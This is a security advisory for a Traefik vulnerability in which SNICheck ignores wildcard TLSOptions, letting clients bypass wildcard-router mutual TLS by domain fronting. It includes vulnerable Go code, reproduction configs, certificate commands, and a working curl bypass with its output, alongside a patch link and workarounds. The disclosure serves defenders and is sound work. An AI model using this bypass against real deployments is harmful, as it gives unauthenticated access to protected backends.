Traefik EUVD-2026-38575

Summary

There is a high severity vulnerability in Traefik's domain-fronting protection (SNICheck) that allows an unauthenticated client to bypass mutual TLS enforced through wildcard router TLSOptions. When a router uses a wildcard host rule such as Host(*.example.com) with stricter TLS options (for example RequireAndVerifyClientCert), SNICheck resolves the TLS options for the HTTP Host header using exact map lookups only and never applies wildcard matching. If another permissive SNI is served on the same entrypoint, an attacker can complete the TLS handshake under the permissive options and then send an HTTP Host header targeting the wildcard-protected backend, reaching it without presenting a client certificate. This affects the regular HTTPS / HTTP-2 path and does not require HTTP/3.

Patches

• https://github.com/traefik/traefik/releases/tag/v3.7.3

For more information

If you have any questions or comments about this advisory, please open an issue.

<details> <summary>Original Description</summary>

Summary

Traefik's SNICheck domain-fronting protection ignores wildcard TLSOptions mappings. A wildcard router such as Host("*.example.com") can require mTLS for direct access, but an unauthenticated client can complete the TLS handshake with another permissive SNI on the same entrypoint and then send Host: api.example.com / HTTP request authority api.example.com to reach the wildcard-protected backend.

This issue does not require HTTP/3. The PoC uses the regular HTTPS/HTTP2 path and abuses the domain-fronting consistency check between TLS SNI and the HTTP Host header.

For HTTP/2, this corresponds to the request authority / Host value as exposed to Traefik's HTTP request handling.

Details

For the v3 rule-syntax / file-provider path used in this PoC, wildcard Host / HostSNI matching and TLSOptions association for wildcard domains were introduced in Traefik v3.7. The normal HTTPS/TCP router path uses wildcard-aware matching. The SNICheck middleware does not.

The router build records TLS option names for host rules:

domains, err := httpmuxer.ParseDomains(routerHTTPConfig.Rule)
// ...
tlsOptionsForHost[domain] = tlsOptionsName

The HTTPS forwarder then installs SNI routes:

rule := fmt.Sprintf(`HostSNI(%q)`, sniHost)

HostSNI matching is wildcard-aware:

return muxer.DomainMatchHostExpression(meta.serverName, hostExpr)

But pkg/middlewares/snicheck/snicheck.go resolves the host's TLS option name with exact lookups only:

func findTLSOptionName(tlsOptionsForHost map[string]string, host string, fqdn bool) string {
    name := findTLSOptName(tlsOptionsForHost, host, fqdn)
    if name != "" {
        return name
    }

    name = findTLSOptName(tlsOptionsForHost, strings.ToLower(host), fqdn)
    if name != "" {
        return name
    }

    return traefiktls.DefaultTLSConfigName
}

func findTLSOptName(tlsOptionsForHost map[string]string, host string, fqdn bool) string {
    if tlsOptions, ok := tlsOptionsForHost[host]; ok {
        return tlsOptions
    }

    if !fqdn {
        return ""
    }

    if last := len(host) - 1; last >= 0 && host[last] == '.' {
        if tlsOptions, ok := tlsOptionsForHost[host[:last]]; ok {
            return tlsOptions
        }

        return ""
    }

    if tlsOptions, ok := tlsOptionsForHost[host+"."]; ok {
        return tlsOptions
    }

    return ""
}

There is no wildcard matching step for entries such as *.example.com. As a result, Host: api.example.com can be classified as using default TLS options even though the router matched a wildcard host with stricter TLSOptions.

Preconditions:

• A protected router uses wildcard Host / HostSNI with router-specific TLSOptions.
• The protected wildcard router uses stricter TLS options, such as RequireAndVerifyClientCert.
• Another SNI/default TLS path on the same entrypoint allows a handshake without a client certificate.
• The client can send an HTTP Host header different from the TLS SNI.

Relationship to my previous HTTP/3 report:

I previously submitted a related HTTP/3 mTLS bypass involving Router.GetTLSGetClientInfo() and exact/case-sensitive SNI lookup.

This report is separate. It does not require HTTP/3 or QUIC. It affects the regular HTTPS/HTTP2 path and is caused by SNICheck resolving tlsOptionsForHost with exact lookups only, without wildcard matching. The exploit uses domain fronting: a permissive TLS SNI is used for the handshake, while the HTTP request authority / Host header targets a wildcard-protected backend.

Relationship to public issue #12349:

This is related to public issue #12349, where wildcard hosts were observed to be classified as default by SNICheck, causing unexpected 421 Misdirected Request responses in some wildcard setups:

TLS options difference: SNI:https-ext@file, Header:default

The public issue demonstrates the same wildcard resolution gap as an availability/operational problem. This report demonstrates a security-impacting false-negative variant that can bypass router-specific mTLS when a permissive SNI exists on the same entrypoint. When the attacker chooses a permissive/default SNI and sends a protected wildcard host in the HTTP Host header, both sides can be classified as default, so SNICheck does not return 421. The later HTTP router then matches the wildcard-protected backend and the request is forwarded without enforcing the wildcard route's mTLS policy.

Related wildcard SNICheck behavior has also been observed in Kubernetes Ingress setups, as described in public issue #12349. The PoC below uses the file provider and v3 rule syntax to keep the reproduction minimal and self-contained.

Minimal dynamic configuration:

http:
  routers:
    protected:
      rule: Host(`*.example.com`)
      service: protected
      tls:
        options: mtls

    public:
      rule: Host(`public.example.net`)
      service: public
      tls: {}

  services:
    protected:
      loadBalancer:
        servers:
          - url: http://protected:80

    public:
      loadBalancer:
        servers:
          - url: http://public:80

tls:
  certificates:
    - certFile: /certs/server.crt
      keyFile: /certs/server.key

  options:
    mtls:
      clientAuth:
        caFiles:
          - /certs/ca.crt
        clientAuthType: RequireAndVerifyClientCert

Minimal Docker Compose:

services:
  traefik:
    image: traefik:v3.7.1
    command:
      - --log.level=DEBUG
      - --entrypoints.websecure.address=:8443
      - --providers.file.filename=/etc/traefik/dynamic.yml
      - --providers.file.watch=false
    ports:
      - "8443:8443"
    volumes:
      - ./dynamic.yml:/etc/traefik/dynamic.yml:ro
      - ./certs:/certs:ro
    depends_on:
      - protected
      - public

  protected:
    image: traefik/whoami:v1.11
    command:
      - --name=PROTECTED

  public:
    image: traefik/whoami:v1.11
    command:
      - --name=PUBLIC

Certificate generation:

rm -rf certs
mkdir -p certs

openssl req -x509 -newkey rsa:2048 -nodes -days 7 \
  -keyout certs/ca.key \
  -out certs/ca.crt \
  -subj "/CN=traefik-poc-ca"

openssl req -newkey rsa:2048 -nodes \
  -keyout certs/server.key \
  -out certs/server.csr \
  -subj "/CN=public.example.net" \
  -addext "subjectAltName=DNS:public.example.net,DNS:api.example.com,DNS:*.example.com"

openssl x509 -req \
  -in certs/server.csr \
  -CA certs/ca.crt \
  -CAkey certs/ca.key \
  -CAcreateserial \
  -out certs/server.crt \
  -days 7 \
  -sha256 \
  -copy_extensions copyall

PoC

Start Traefik with the configuration above.

Test environment:

• Traefik images tested: v3.7.0, v3.7.1
• Backend image: traefik/whoami:v1.11
• Client: curl with HTTPS/HTTP2 support
• EntryPoint: TCP port 8443 exposed locally
• Provider: file provider

Control 1: the permissive public route works normally and reaches the public backend:

curl --noproxy '*' --http2 -skv \
  --resolve public.example.net:8443:127.0.0.1 \
  https://public.example.net:8443/

Observed result:

HTTP/2 200
Name: PUBLIC
Host: public.example.net:8443

Control 2: direct access to the wildcard-protected host without a client certificate is blocked:

curl --noproxy '*' --http2 -skv \
  --resolve api.example.com:8443:127.0.0.1 \
  https://api.example.com:8443/

Observed result:

TLS alert ... certificate required

Bypass: use the permissive public SNI for the TLS handshake, but send the protected wildcard host in the HTTP request:

curl --noproxy '*' --http2 -skv \
  --resolve public.example.net:8443:127.0.0.1 \
  https://public.example.net:8443/ \
  -H 'Host: api.example.com'

Observed result:

HTTP/2 200
Name: PROTECTED
Host: api.example.com

The curl verbose output shows that the HTTP/2 request authority / Host value is api.example.com, while the TLS SNI is taken from the URL host public.example.net:

* [HTTP/2] [1] [:authority: api.example.com]
> Host: api.example.com

Expected result:

HTTP/2 421
Misdirected Request

Traefik should return 421 Misdirected Request because the HTTP Host header resolves to the wildcard route's mtls TLSOptions while the TLS SNI resolves to permissive/default TLSOptions.

Negative control with exact host:

Replacing the protected router rule with exact Host("api.example.com") while keeping tls.options=mtls causes the same domain-fronting request to be rejected:

http:
  routers:
    protected:
      rule: Host(`api.example.com`)
      service: protected
      tls:
        options: mtls

Run the same request:

curl --noproxy '*' --http2 -skv \
  --resolve public.example.net:8443:127.0.0.1 \
  https://public.example.net:8443/ \
  -H 'Host: api.example.com'

Observed result:

HTTP/2 421
Misdirected Request

This shows that the bypass depends on wildcard TLSOptions resolution in SNICheck, not on a generic failure of the domain-fronting check.

Regression test used during validation:

go test ./pkg/middlewares/snicheck \
  -run TestSNICheck_WildcardTLSOptionsCurrentBehavior \
  -count=1

Version matrix observed with Docker images:

v3.6.17: this file-provider wildcard PoC did not reproduce; the wildcard route returned 404 in this setup
v3.7.0: affected
v3.7.1: affected

Impact

Deployments that use wildcard router TLSOptions for client certificate authentication can expose protected backends to unauthenticated clients when another permissive SNI exists on the same entrypoint.

The TLS handshake is completed under the permissive/default TLS options selected for the SNI, while the later HTTP router still dispatches the request to the wildcard route that was configured with mTLS-specific TLSOptions. This bypasses a security boundary that administrators can reasonably expect to be enforced by tls.options=mtls on the wildcard route.

A possible fix would be for SNICheck to resolve tlsOptionsForHost using the same wildcard-aware host matching semantics used by the router / HostSNI matching, rather than exact map lookups only.

Possible workarounds until a fix is available:

• Avoid wildcard router TLSOptions for mTLS access control.
• Enumerate exact protected hostnames instead of using wildcard Host rules.
• Enforce mTLS in the default TLS options as well.
• Avoid mixing permissive and mTLS-protected hosts on the same entrypoint.
• Block or reject domain-fronted requests at another layer.

</details>

---